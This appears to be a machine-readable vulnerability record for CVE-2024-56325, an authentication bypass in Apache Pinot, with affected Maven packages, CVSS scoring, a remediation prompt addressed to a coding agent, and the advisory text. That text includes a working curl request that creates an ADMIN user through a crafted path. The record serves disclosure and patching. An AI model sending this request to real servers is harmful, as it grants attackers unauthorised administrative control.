{"answers":{"affected":"6 open source packages ship an affected version, including org.apache.pinot:pinot-broker, org.apache.pinot:pinot-common and org.apache.pinot:pinot-controller. It affects 1 product.","exploited":"It is not confirmed as exploited in the wild, but public exploit code for CVE-2024-56325 exists.","fix":"Upgrade org.apache.pinot:pinot-broker to 1.3.0 or later.","what":"CVE-2024-56325 is a critical authentication bypass vulnerability in Apache Pinot, published on 1 Apr 2025. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for CVE-2024-56325 and fix it if it is affected.\n\nWhat it is: CVE-2024-56325 is a critical authentication bypass vulnerability in Apache Pinot, published on 1 Apr 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: It is not confirmed as exploited in the wild, but public exploit code for CVE-2024-56325 exists.\n\nAffected packages and fixed versions:\n- org.apache.pinot:pinot-broker (Maven): affected from 0.8.0; fixed in 1.3.0\n- org.apache.pinot:pinot-broker (Maven): affected from 0.8.0; fixed in 1.3.0\n- org.apache.pinot:pinot-common (Maven): affected from 0.8.0; fixed in 1.3.0\n- org.apache.pinot:pinot-common (Maven): affected from 0.8.0; fixed in 1.3.0\n- org.apache.pinot:pinot-controller (Maven): affected from 0.8.0; fixed in 1.3.0\n- org.apache.pinot:pinot-controller (Maven): affected from 0.8.0; fixed in 1.3.0\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/CVE-2024-56325/ (Markdown: https://insights.sbomify.com/CVE-2024-56325/index.md)","id":"CVE-2024-56325","markdown":"https://insights.sbomify.com/CVE-2024-56325/index.md","name":"CVE-2024-56325","record":{"aliases":["GHSA-6jwp-4wvj-6597"],"analysis":{"component_type":"server_software","fix_type":"patch","impacts":["privilege_escalation","code_execution"],"network_reachable":"yes","non_default_config":false,"product_category":"Apache Pinot","requires_auth":"none","summary":"Attackers can bypass authentication by crafting specific paths to create admin users, gaining full control over the Apache Pinot server.","user_interaction":"not_required","vuln_class":"auth_bypass"},"analysis_generated_by":"qwen3.8-flash-next","assigner":"apache","cpe":[{"product":"pinot","vendor":"apache"}],"cvss":{"score":9.8,"severity":"critical","source":"cisa-adp","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","version":"3.1"},"cwes":[{"id":"CWE-288","name":"Authentication Bypass Using an Alternate Path or Channel"}],"description":"Authentication Bypass Issue\n\nIf the path does not contain / and contain., authentication is not required.\n\nExpected Normal Request and Response Example\n\ncurl -X POST -H \"Content-Type: application/json\" -d {\\\"username\\\":\\\"hack2\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}  http://{server_ip}:9000/users \n\nReturn: {\"code\":401,\"error\":\"HTTP 401 Unauthorized\"}\n\nMalicious Request and Response Example \n\ncurl -X POST -H \"Content-Type: application/json\" -d '{\\\"username\\\":\\\"hack\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}'  http://{serverip}:9000/users; http://{serverip}:9000/users; .\n\nReturn: {\"users\":{}}\n\n \n\nA new user gets added bypassing authentication, enabling the user to control Pinot.","ecosystems":["Maven"],"exploits":{"exploitdb":0,"first_seen":null,"github_poc":0,"max_poc_stars":null,"metasploit":0,"nuclei":1,"refs":[{"date":null,"kind":"nuclei","ref":"http/cves/2024/CVE-2024-56325.yaml","stars":null,"title":"Apache Pinot \u003c 1.3.0 - Authentication Bypass"}],"tier":"weaponised"},"has_fix":true,"headline":"Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required","id":"CVE-2024-56325","indexable":true,"kev":null,"kind":"cve","links":{"ecosystem":"Maven","product":null,"products":[],"type":"auth_bypass","year":"2024"},"n_packages":6,"n_references":1,"next":{"headline":"Jinja has a sandbox breakout through indirect reference to format method","id":"CVE-2024-56326"},"packages":[{"ecosystem":"Maven","fixed":["1.3.0"],"introduced":["0.8.0"],"last_affected":[],"package":"org.apache.pinot:pinot-broker","purl":null,"source":"GHSA-6jwp-4wvj-6597"},{"ecosystem":"Maven","fixed":["1.3.0"],"introduced":["0.8.0"],"last_affected":[],"package":"org.apache.pinot:pinot-broker","purl":"pkg:maven/org.apache.pinot/pinot-broker","source":"GHSA-6jwp-4wvj-6597"},{"ecosystem":"Maven","fixed":["1.3.0"],"introduced":["0.8.0"],"last_affected":[],"package":"org.apache.pinot:pinot-common","purl":null,"source":"GHSA-6jwp-4wvj-6597"},{"ecosystem":"Maven","fixed":["1.3.0"],"introduced":["0.8.0"],"last_affected":[],"package":"org.apache.pinot:pinot-common","purl":"pkg:maven/org.apache.pinot/pinot-common","source":"GHSA-6jwp-4wvj-6597"},{"ecosystem":"Maven","fixed":["1.3.0"],"introduced":["0.8.0"],"last_affected":[],"package":"org.apache.pinot:pinot-controller","purl":null,"source":"GHSA-6jwp-4wvj-6597"},{"ecosystem":"Maven","fixed":["1.3.0"],"introduced":["0.8.0"],"last_affected":[],"package":"org.apache.pinot:pinot-controller","purl":"pkg:maven/org.apache.pinot/pinot-controller","source":"GHSA-6jwp-4wvj-6597"}],"prev":{"headline":"GoCD vulnerable to XXE injection via abuse of pipeline XML \"snippet\" editing by group admins","id":"CVE-2024-56324"},"products":["Apache Pinot"],"published":"2025-04-01","related":[{"cvss_score":9.8,"headline":"Apache Pinot has Groovy Function support enabled by default","id":"CVE-2022-26112","kev_date_added":null,"published":"2022-09-23"},{"cvss_score":7.5,"headline":"Apache Pinot: Unauthorized endpoint exposed sensitive information","id":"CVE-2024-39676","kev_date_added":null,"published":"2024-07-24"},{"cvss_score":7.5,"headline":"Pinot segment push endpoint has a vulnerability in unprotected environments","id":"CVE-2022-23974","kev_date_added":null,"published":"2022-04-05"}],"sources":[{"class":"attribution","licence":"CVE Terms of Use (MITRE)","name":"CVE List","prefix":"CVE"},{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"US public information, NVD API terms","name":"NVD"},{"class":"attribution","licence":"CWE Terms of Use","name":"CWE (MITRE)"},{"class":"attribution","licence":"FIRST CVSS licence","name":"CVSS (FIRST)"},{"class":"attribution","licence":"MIT","name":"Nuclei templates"}],"ssvc":{"automatable":"yes","exploitation":"none","technical_impact":"total"},"state":"PUBLISHED","updated":"2025-10-27","vendors":["Apache Software Foundation"]},"summary":"Attackers can bypass authentication by crafting specific paths to create admin users, gaining full control over the Apache Pinot server.","url":"https://insights.sbomify.com/CVE-2024-56325/"}